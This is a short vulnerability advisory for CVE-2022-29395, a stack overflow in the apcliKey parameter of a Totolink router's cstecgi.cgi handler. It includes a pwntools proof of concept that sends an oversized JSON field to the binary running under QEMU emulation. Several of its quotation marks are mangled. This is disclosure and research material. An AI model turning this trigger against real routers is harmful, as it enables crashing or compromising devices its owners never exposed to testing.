CVE-2022-29395: IoT-vuln/Totolink/6.setWiFiRepeaterConfig at main · d1tto/IoT-vuln

The vulnerability exists in the router’s WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_0041bac4 (at address 0x041bac4) gets the JSON parameter apcliKey, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

from pwn import * import json

data = { "topicurl": "setting/setWiFiRepeaterConfig", "operationMode": "2", "apcliAuthMode": "WEP", "apcliKeyFormat": "0", "apcliKey": 'A’*0x200, "ipAddress": “192.168.2.1” }

data = json.dumps(data) print(data)

argv = [ "qemu-mips-static", "-g", "1234", "-L", "./lib", "-E", "LD_PRELOAD=./hook.so", "-E", "CONTENT_LENGTH={}".format(len(data)), "-E", "REMOTE_ADDR=192.168.2.1", “./cstecgi.cgi” ]

a = process(argv=argv)

a.sendline(data.encode())

a.interactive()